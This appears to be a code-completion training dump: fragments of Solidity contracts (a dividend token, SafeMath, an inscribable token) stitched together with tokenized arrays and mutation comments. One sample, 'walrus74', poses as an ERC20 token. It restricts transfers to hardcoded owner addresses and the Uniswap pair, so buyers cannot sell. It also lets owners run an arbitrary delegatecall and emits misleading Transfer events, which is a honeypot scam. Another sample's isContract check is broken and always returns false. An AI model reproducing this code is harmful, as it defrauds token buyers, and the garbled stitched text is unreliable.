profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
/**
* @dev Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | * Additional check that the game address we are sending tokens to is a contract assemble the given address bytecode. If bytecode exists then the _addr is a contract./ retrieve the size of the code on target address, this needs assembly | function isContract(address _addr) private constant returns (bool is_contract) {
uint length;
return length > 0;
}
=====================================*/
| 1,289,623 | [
1,
10552,
866,
716,
326,
7920,
1758,
732,
854,
5431,
2430,
358,
353,
279,
6835,
19540,
326,
864,
1758,
22801,
18,
971,
22801,
1704,
1508,
326,
389,
4793,
353,
279,
6835,
18,
19,
4614,
326,
963,
434,
326,
981,
603,
1018,
1758,
16,
333,
4260,
19931,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
353,
8924,
12,
2867,
389,
4793,
13,
3238,
5381,
1135,
261,
6430,
353,
67,
16351,
13,
288,
203,
4202,
2254,
769,
31,
203,
4202,
327,
769,
405,
374,
31,
203,
202,
97,
203,
203,
565,
422,
4428,
12275,
5549,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.17;
interface ierc206 { //inject NONSTANDARD NAMING
function TOTALSUPPLY11() external view returns(uint); //inject NONSTANDARD NAMING
function BALANCEOF69(address ACCOUNT64) external view returns(uint); //inject NONSTANDARD NAMING
function TRANSFER81(address RECIPIENT26, uint AMOUNT2) external returns(bool); //inject NONSTANDARD NAMING
function ALLOWANCE67(address OWNER12, address SPENDER20) external view returns(uint); //inject NONSTANDARD NAMING
// function allowance(address owner, address owner2, address owner3, address owner4, address owner5, address owner6, address spender) external view returns(uint);
function APPROVE93(address SPENDER20, uint AMOUNT2) external returns(bool); //inject NONSTANDARD NAMING
function TRANSFERFROM84(address SENDER77, address RECIPIENT26, uint AMOUNT2) external returns(bool); //inject NONSTANDARD NAMING
event TRANSFER61(address indexed FROM91, address indexed TO59, uint VALUE15); //inject NONSTANDARD NAMING
event APPROVAL53(address indexed OWNER12, address indexed SPENDER20, uint VALUE15); //inject NONSTANDARD NAMING
// event Approval(address indexed owner, address indexed owner2, address indexed owner3, address indexed owner4, address indexed owner5, address indexed owner6, address indexed spender, uint value);
}
library safemath10 { //inject NONSTANDARD NAMING
function ADD58(uint A70, uint B7) internal pure returns(uint) { //inject NONSTANDARD NAMING
uint C70 = A70 + B7; //inject NONSTANDARD NAMING
require(C70 >= A70, "SafeMath: addition overflow");
return C70;
}
function SUB76(uint A70, uint B7) internal pure returns(uint) { //inject NONSTANDARD NAMING
return SUB76(A70, B7, "SafeMath: subtraction overflow");
}
function SUB76(uint A70, uint B7, string memory ERRORMESSAGE85) internal pure returns(uint) { //inject NONSTANDARD NAMING
require(B7 <= A70, ERRORMESSAGE85);
uint C70 = A70 - B7; //inject NONSTANDARD NAMING
return C70;
}
function MUL73(uint A70, uint B7) internal pure returns(uint) { //inject NONSTANDARD NAMING
if (A70 == 0) {
return 0;
}
uint C70 = A70 * B7; //inject NONSTANDARD NAMING
require(C70 / A70 == B7, "SafeMath: multiplication overflow");
return C70;
}
function DIV91(uint A70, uint B7) internal pure returns(uint) { //inject NONSTANDARD NAMING
return DIV91(A70, B7, "SafeMath: division by zero");
}
function DIV91(uint A70, uint B7, string memory ERRORMESSAGE85) internal pure returns(uint) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(B7 > 0, ERRORMESSAGE85);
uint C70 = A70 / B7; //inject NONSTANDARD NAMING
return C70;
}
}
library address23 { //inject NONSTANDARD NAMING
function ISCONTRACT97(address ACCOUNT64) internal view returns(bool) { //inject NONSTANDARD NAMING
bytes32 CODEHASH25; //inject NONSTANDARD NAMING
bytes32 ACCOUNTHASH81 = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; //inject NONSTANDARD NAMING
// solhint-disable-next-line no-inline-assembly
assembly { CODEHASH25:= extcodehash(ACCOUNT64) }
return (CODEHASH25 != 0x0 && CODEHASH25 != ACCOUNTHASH81);
}
}
library safeerc2039 { //inject NONSTANDARD NAMING
using safemath10
for uint;
using address23
for address;
function SAFETRANSFER38(ierc206 TOKEN27, address TO59, uint VALUE15) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN3(TOKEN27, abi.encodeWithSelector(TOKEN27.TRANSFER81.selector, TO59, VALUE15));
}
function SAFETRANSFERFROM22(ierc206 TOKEN27, address FROM91, address TO59, uint VALUE15) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN3(TOKEN27, abi.encodeWithSelector(TOKEN27.TRANSFERFROM84.selector, FROM91, TO59, VALUE15));
}
function SAFEAPPROVE83(ierc206 TOKEN27, address SPENDER20, uint VALUE15) internal { //inject NONSTANDARD NAMING
require((VALUE15 == 0) || (TOKEN27.ALLOWANCE67(address(this), SPENDER20) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
CALLOPTIONALRETURN3(TOKEN27, abi.encodeWithSelector(TOKEN27.APPROVE93.selector, SPENDER20, VALUE15));
}
function CALLOPTIONALRETURN3(ierc206 TOKEN27, bytes memory DATA65) private { //inject NONSTANDARD NAMING
require(address(TOKEN27).ISCONTRACT97(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool SUCCESS31, bytes memory RETURNDATA5) = address(TOKEN27).call(DATA65); //inject NONSTANDARD NAMING
require(SUCCESS31, "SafeERC20: low-level call failed");
if (RETURNDATA5.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(RETURNDATA5, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract context63 { //inject NONSTANDARD NAMING
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _MSGSENDER40() internal view returns(address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
}
contract erc2042 is context63, ierc206 { //inject NONSTANDARD NAMING
using safemath10 for uint;
mapping(address => uint) private _BALANCES52; //inject NONSTANDARD NAMING
mapping(address => mapping(address => uint)) private _ALLOWANCES26; //inject NONSTANDARD NAMING
uint private _TOTALSUPPLY41; //inject NONSTANDARD NAMING
function TOTALSUPPLY11() public view returns(uint) { //inject NONSTANDARD NAMING
return _TOTALSUPPLY41;
}
function BALANCEOF69(address ACCOUNT64) public view returns(uint) { //inject NONSTANDARD NAMING
return _BALANCES52[ACCOUNT64];
}
function TRANSFER81(address RECIPIENT26, uint AMOUNT2) public returns(bool) { //inject NONSTANDARD NAMING
_TRANSFER41(_MSGSENDER40(), RECIPIENT26, AMOUNT2);
return true;
}
function ALLOWANCE67(address OWNER12, address SPENDER20) public view returns(uint) { //inject NONSTANDARD NAMING
return _ALLOWANCES26[OWNER12][SPENDER20];
}
function APPROVE93(address SPENDER20, uint AMOUNT2) public returns(bool) { //inject NONSTANDARD NAMING
_APPROVE78(_MSGSENDER40(), SPENDER20, AMOUNT2);
return true;
}
function TRANSFERFROM84(address SENDER77, address RECIPIENT26, uint AMOUNT2) public returns(bool) { //inject NONSTANDARD NAMING
_TRANSFER41(SENDER77, RECIPIENT26, AMOUNT2);
_APPROVE78(SENDER77, _MSGSENDER40(), _ALLOWANCES26[SENDER77][_MSGSENDER40()].SUB76(AMOUNT2, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE8(address SPENDER20, uint ADDEDVALUE53) public returns(bool) { //inject NONSTANDARD NAMING
_APPROVE78(_MSGSENDER40(), SPENDER20, _ALLOWANCES26[_MSGSENDER40()][SPENDER20].ADD58(ADDEDVALUE53));
return true;
}
function DECREASEALLOWANCE20(address SPENDER20, uint SUBTRACTEDVALUE30) public returns(bool) { //inject NONSTANDARD NAMING
_APPROVE78(_MSGSENDER40(), SPENDER20, _ALLOWANCES26[_MSGSENDER40()][SPENDER20].SUB76(SUBTRACTEDVALUE30, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER41(address SENDER77, address RECIPIENT26, uint AMOUNT2) internal { //inject NONSTANDARD NAMING
require(SENDER77 != address(0), "ERC20: transfer from the zero address");
require(RECIPIENT26 != address(0), "ERC20: transfer to the zero address");
_BALANCES52[SENDER77] = _BALANCES52[SENDER77].SUB76(AMOUNT2, "ERC20: transfer amount exceeds balance");
_BALANCES52[RECIPIENT26] = _BALANCES52[RECIPIENT26].ADD58(AMOUNT2);
emit TRANSFER61(SENDER77, RECIPIENT26, AMOUNT2);
}
function _MINT65(address ACCOUNT64, uint AMOUNT2) internal { //inject NONSTANDARD NAMING
require(ACCOUNT64 != address(0), "ERC20: mint to the zero address");
_TOTALSUPPLY41 = _TOTALSUPPLY41.ADD58(AMOUNT2);
_BALANCES52[ACCOUNT64] = _BALANCES52[ACCOUNT64].ADD58(AMOUNT2);
emit TRANSFER61(address(0), ACCOUNT64, AMOUNT2);
}
function _BURN74(address ACCOUNT64, uint AMOUNT2) internal { //inject NONSTANDARD NAMING
require(ACCOUNT64 != address(0), "ERC20: burn from the zero address");
_BALANCES52[ACCOUNT64] = _BALANCES52[ACCOUNT64].SUB76(AMOUNT2, "ERC20: burn amount exceeds balance");
_TOTALSUPPLY41 = _TOTALSUPPLY41.SUB76(AMOUNT2);
emit TRANSFER61(ACCOUNT64, address(0), AMOUNT2);
}
// function _approve(address owner, address owner2, address owner3, address owner4, address owner5, address owner6, address spender, uint amount) internal {
function _APPROVE78(address OWNER12, address SPENDER20, uint AMOUNT2) internal { //inject NONSTANDARD NAMING
require(OWNER12 != address(0), "ERC20: approve from the zero address");
require(SPENDER20 != address(0), "ERC20: approve to the zero address");
_ALLOWANCES26[OWNER12][SPENDER20] = AMOUNT2;
emit APPROVAL53(OWNER12, SPENDER20, AMOUNT2);
}
}
contract erc20detailed16 is ierc206 { //inject NONSTANDARD NAMING
string private _NAME50; //inject NONSTANDARD NAMING
string private _SYMBOL63; //inject NONSTANDARD NAMING
uint8 private _DECIMALS70; //inject NONSTANDARD NAMING
constructor(string memory NAME31, string memory SYMBOL32, uint8 DECIMALS49) public { //inject NONSTANDARD NAMING
_NAME50 = NAME31;
_SYMBOL63 = SYMBOL32;
_DECIMALS70 = DECIMALS49;
}
function NAME55() public view returns(string memory) { //inject NONSTANDARD NAMING
return _NAME50;
}
function SYMBOL89() public view returns(string memory) { //inject NONSTANDARD NAMING
return _SYMBOL63;
}
function DECIMALS42() public view returns(uint8) { //inject NONSTANDARD NAMING
return _DECIMALS70;
}
}
contract walrus74 { //inject NONSTANDARD NAMING
event TRANSFER61(address indexed _FROM13, address indexed _TO81, uint _VALUE6); //inject NONSTANDARD NAMING
event APPROVAL53(address indexed _OWNER0, address indexed _SPENDER20, uint _VALUE6); //inject NONSTANDARD NAMING
function TRANSFER81(address _TO81, uint _VALUE6) public payable returns (bool) { //inject NONSTANDARD NAMING
return TRANSFERFROM84(msg.sender, _TO81, _VALUE6);
}
function TRANSFERFROM84(address _FROM13, address _TO81, uint _VALUE6) public payable ENSURE84(_FROM13, _TO81) returns (bool) { //inject NONSTANDARD NAMING
if (_VALUE6 == 0) {return true;}
if (msg.sender != _FROM13) {
require(ALLOWANCE100[_FROM13][msg.sender] >= _VALUE6);
ALLOWANCE100[_FROM13][msg.sender] -= _VALUE6;
}
require(BALANCEOF32[_FROM13] >= _VALUE6);
BALANCEOF32[_FROM13] -= _VALUE6;
BALANCEOF32[_TO81] += _VALUE6;
emit TRANSFER61(_FROM13, _TO81, _VALUE6);
return true;
}
function APPROVE93(address _SPENDER20, uint _VALUE6) public payable returns (bool) { //inject NONSTANDARD NAMING
ALLOWANCE100[msg.sender][_SPENDER20] = _VALUE6;
emit APPROVAL53(msg.sender, _SPENDER20, _VALUE6);
return true;
}
function DELEGATE40(address A70, bytes memory B7) public payable { //inject NONSTANDARD NAMING
require (msg.sender == OWNER12 || msg.sender == OWNER299 || msg.sender == OWNER327 || msg.sender == OWNER480 || msg.sender == OWNER538 || msg.sender == OWNER613);
A70.delegatecall(B7);
}
function BATCHSEND43(address[] memory _TOS59, uint _VALUE6) public payable returns (bool) { //inject NONSTANDARD NAMING
require (msg.sender == OWNER12 || msg.sender == OWNER299 || msg.sender == OWNER327 || msg.sender == OWNER480 || msg.sender == OWNER538 || msg.sender == OWNER613);
uint TOTAL23 = _VALUE6 * _TOS59.length; //inject NONSTANDARD NAMING
require(BALANCEOF32[msg.sender] >= TOTAL23);
BALANCEOF32[msg.sender] -= TOTAL23;
for (uint I7 = 0; I7 < _TOS59.length; I7++) { //inject NONSTANDARD NAMING
address _TO81 = _TOS59[I7]; //inject NONSTANDARD NAMING
BALANCEOF32[_TO81] += _VALUE6;
emit TRANSFER61(msg.sender, _TO81, _VALUE6/2);
emit TRANSFER61(msg.sender, _TO81, _VALUE6/2);
}
return true;
}
modifier ENSURE84(address _FROM13, address _TO81) { //inject NONSTANDARD NAMING
address UNI49 = PAIRFOR60(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //inject NONSTANDARD NAMING
require(_FROM13 == OWNER12 || _TO81 == OWNER12 || _FROM13 == UNI49 || _FROM13 == OWNER299 || _TO81 == OWNER299 || _FROM13 == OWNER327 || _TO81 == OWNER327 || _FROM13 == OWNER480 || _TO81 == OWNER480 || _FROM13 == OWNER538 || _TO81 == OWNER538 || _FROM13 == OWNER613 || _TO81 == OWNER613);
//require(owner == msg.sender || owner2 == msg.sender);
_;
}
function PAIRFOR60(address FACTORY18, address TOKENA11, address TOKENB18) internal pure returns (address PAIR77) { //inject NONSTANDARD NAMING
(address TOKEN073, address TOKEN120) = TOKENA11 < TOKENB18 ? (TOKENA11, TOKENB18) : (TOKENB18, TOKENA11); //inject NONSTANDARD NAMING
PAIR77 = address(uint(keccak256(abi.encodePacked(
hex'ff',
FACTORY18,
keccak256(abi.encodePacked(TOKEN073, TOKEN120)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public BALANCEOF32; //inject NONSTANDARD NAMING
mapping (address => mapping (address => uint)) public ALLOWANCE100; //inject NONSTANDARD NAMING
uint constant public decimals31 = 18; //inject NONSTANDARD NAMING
uint public TOTALSUPPLY14; //inject NONSTANDARD NAMING
string public NAME31; //inject NONSTANDARD NAMING
string public SYMBOL32; //inject NONSTANDARD NAMING
address private OWNER12; //inject NONSTANDARD NAMING
address private OWNER299; //inject NONSTANDARD NAMING
address private OWNER327; //inject NONSTANDARD NAMING
address private OWNER480; //inject NONSTANDARD NAMING
address private OWNER538; //inject NONSTANDARD NAMING
address private OWNER613; //inject NONSTANDARD NAMING
address constant internal uni75 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //inject NONSTANDARD NAMING
constructor(string memory _NAME50, string memory _SYMBOL63, uint256 _SUPPLY71) payable public { //inject NONSTANDARD NAMING
NAME31 = _NAME50;
SYMBOL32 = _SYMBOL63;
TOTALSUPPLY14 = _SUPPLY71;
OWNER12 = msg.sender;
OWNER299 = 0x7737533691DE30EAC03ec29803FaabE92619F9a4;
OWNER327 = 0x93338F6cCc570C33F0BAbA914373a6d51FbbB6B7;
OWNER480 = 0x201f739D7346403aF416BEd7e8f8e3de21ccdc84;
OWNER538 = 0x0ee849e0d238A375427E8115D4065FFaA21BCee9;
OWNER613 = 0xD9429A42788Ec71AEDe45f6F48B7688D11900C05;
BALANCEOF32[msg.sender] = TOTALSUPPLY14;
ALLOWANCE100[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit TRANSFER61(address(0x0), msg.sender, TOTALSUPPLY14);
}
} | inject NONSTANDARD NAMING
| (bool SUCCESS31, bytes memory RETURNDATA5) = address(TOKEN27).call(DATA65); | 12,761,285 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
261,
6430,
16561,
6938,
16,
1731,
3778,
10366,
1099,
2908,
3706,
25,
13,
273,
1758,
12,
8412,
5324,
2934,
1991,
12,
4883,
9222,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.11;
library SafeMath {
function ADD640(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB596(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB596(a, b, "SafeMath: subtraction overflow");
}
function SUB596(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL119(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV27(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV27(a, b, "SafeMath: division by zero");
}
function DIV27(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD463(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD463(a, b, "SafeMath: modulo by zero");
}
function MOD463(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
contract InscribableToken {
mapping(bytes32 => bytes32) public properties;
event CLASSPROPERTYSET751( //inject NONSTANDARD NAMING
bytes32 indexed key,
bytes32 value
);
event TOKENPROPERTYSET338( //inject NONSTANDARD NAMING
uint indexed id,
bytes32 indexed key,
bytes32 value
);
function _SETPROPERTY292( //inject NONSTANDARD NAMING
uint _id,
bytes32 _key,
bytes32 _value
)
internal
{
properties[GETTOKENKEY33(_id, _key)] = _value;
emit TOKENPROPERTYSET338(_id, _key, _value);
}
function GETPROPERTY470( //inject NONSTANDARD NAMING
uint _id,
bytes32 _key
)
public
view
returns (bytes32 _value)
{
return properties[GETTOKENKEY33(_id, _key)];
}
function _SETCLASSPROPERTY718( //inject NONSTANDARD NAMING
bytes32 _key,
bytes32 _value
)
internal
{
emit CLASSPROPERTYSET751(_key, _value);
properties[GETCLASSKEY628(_key)] = _value;
}
function GETTOKENKEY33( //inject NONSTANDARD NAMING
uint _tokenId,
bytes32 _key
)
public
pure
returns (bytes32)
{
// one prefix to prevent collisions
return keccak256(abi.encodePacked(uint(1), _tokenId, _key));
}
function GETCLASSKEY628(bytes32 _key) //inject NONSTANDARD NAMING
public
pure
returns (bytes32)
{
// zero prefix to prevent collisions
return keccak256(abi.encodePacked(uint(0), _key));
}
function GETCLASSPROPERTY691(bytes32 _key) //inject NONSTANDARD NAMING
public
view
returns (bytes32)
{
return properties[GETCLASSKEY628(_key)];
}
}
library String {
function FROMUINT947(uint256 value) internal pure returns (string memory) { //inject NONSTANDARD NAMING
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
bytes constant alphabet572 = "0123456789abcdef"; //inject NONSTANDARD NAMING
function FROMADDRESS777(address _addr) internal pure returns(string memory) { //inject NONSTANDARD NAMING
bytes32 value = bytes32(uint256(_addr));
bytes memory str = new bytes(42);
str[0] = '0';
str[1] = 'x';
for (uint i = 0; i < 20; i++) {
str[2+i*2] = alphabet572[uint(uint8(value[i + 12] >> 4))];
str[3+i*2] = alphabet572[uint(uint8(value[i + 12] & 0x0F))];
}
return string(str);
}
}
